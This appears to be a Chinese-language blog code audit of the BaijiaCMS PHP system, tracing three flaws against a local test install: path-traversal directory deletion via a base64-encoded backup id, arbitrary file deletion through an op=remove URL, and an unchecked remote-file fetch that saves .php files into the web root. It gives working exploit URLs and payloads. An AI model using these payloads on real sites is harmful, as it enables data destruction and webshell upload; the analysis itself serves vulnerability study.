目录/includes/baijiacms/common.inc.php
function rmdirs($path='',$isdir=false)//rmdirs删除空目录
{
if(is_dir($path))//is_dir检查指定的文件是否是一个目录
{
$file_list= scandir($path);//scandir函数返回指定目录中的文件和目录的数组
foreach ($file_list as $file)
{
if( $file!='.' && $file!='..')
{
if($file!='qrcode')
{
rmdirs($path.'/'.$file,true);
}
}
}
if($path!=WEB_ROOT.'/cache/')
{
<span>@rmdir($path);</span>
}
}
else
{
<span>@unlink($path);</span>
}
}
$path是路径,就删除这个路径,是文件就删除这个文件
全局搜索rmdir,看看在哪里调用了这个函数
/system/menager/class/web/database.php中调用了这个函数
if($operation=='delete')
{
$d = base64_decode($_GP['id']);
$path = WEB_ROOT . '/config/data_backup/';//配置/数据备份
if(is_dir($path . $d)) {
rmdirs($path . $d);
message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
}
rmdir的功能是删除备份文件,但是只判断是否为路径,并没有验证是什么路径,所以可以抓包修改为任意路径,从而删除任意路径下的文件;
(1)在根目录下新建一个test文件夹
(2)后台找到备份与还原
(3)点击删除后burp抓包
(4)将id的内容修改为要删除的test文件夹的路径../../test的base64编码Li4vLi4vdGVzdA==
删除成功
/system/eshop/core/mobile/util/uploader.php
} elseif ($operation == 'remove') {
$file = $_GPC['file'];
file_delete($file);
show_json(1);
}
代码第七号对$operation进行了定义,通过$_GPC对op传参,然后看elseif,$operation等于remove
也就是op=remove
获取到$file参数,调用file_delete函数,跟踪到/includes/baijiacms/common.inc.php
function file_delete($file_relative_path) {
if(empty($file_relative_path)) {
return true;
}
$settings=globaSystemSetting();
if(!empty($settings['system_isnetattach']))
{
if($settings['system_isnetattach']==1)
{
require_once(WEB_ROOT.'/includes/lib/lib_ftp.php');
$ftp=new baijiacms_ftp();
if (true === $ftp->connect()) {
if ($ftp->ftp_delete($settings['system_ftp_ftproot']. $file_relative_path)) {
return true;
} else {
return false;
}
} else {
return false;
}
}
if($settings['system_isnetattach']==1)
{
require_once(WEB_ROOT.'/includes/lib/lib_oss.php');
$oss=new baijiacms_oss();
$oss->deletefile($file_relative_path);
return true;
}
}else
{
if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
return true;
}
}
return true;
}
$settings[‘system_isnetattach’]是附件设置页面中的远程附件选择有本地、FTP、OSS,选择哪个也可以,下面的代码不用去管,那是附件选择的功能调用的代码
直接到最后个else进行if_file判断,最后执行unlink,
file_deleteshi’是通过$file对file传参,传递到参数就是我们要删除的文件
file=../test
结合前面的总结url的一部分应该是&op=remove&file=../test
完整的url参数是http://127.0.0.1/baijiacms/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../test.txt
1.现在网站根目录下新建一个test.txt文件
删除成功
/system/public/class/web/file.php
if ($do == 'fetch') {
$url = trim($_GPC['url']);//trim移除字符串两侧的字符
$file=fetch_net_file_upload($url);
if (is_error($file)) {
$result['message'] = $file['message'];
die(json_encode($result));
}
}
1.先使do=fetch,进入下面的代码
2.$url是传参,然后调用了fetch_net_file_upload()函数,跟踪函数到
/includes/baijiacms/common.inc.php
function fetch_net_file_upload($url) {
$url = trim($url);
$extention = pathinfo($url,PATHINFO_EXTENSION );//pathinfo文件路径以数组形式返回,pathinfo_extension,返回文件后缀名
$path = '/attachment/';
$extpath="{$extention}/" . date('Y/m/');//(格式化时间日期)文件后缀接年/月
mkdirs(WEB_ROOT . $path . $extpath);//创建目录接+attachment+文件后缀名+年/月
//attachment php 2022/09
do {
$filename = random(15) . ".{$extention}";//文件名=随机数+文件后缀
} while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
$file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
$file_relative_path = $extpath. $filename;
if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
$result['message'] = '提取失败.';
return $result;
}
$file_full_path = WEB_ROOT .$path . $extpath. $filename;
return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}
用pathinfo把文件路径以数组形式返回,且只返回extension,即扩展名;
路径拼接年月,创建路径;随机数和扩展名拼接为文件名;
将读取的文件写入拼接生成的路径下,最后,返回路径信息;
http://127.0.0.1/baijiacms-master/baijiacms-master/attachment/php/2022/09/RPnYmxgxQOhOXyJ.php
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.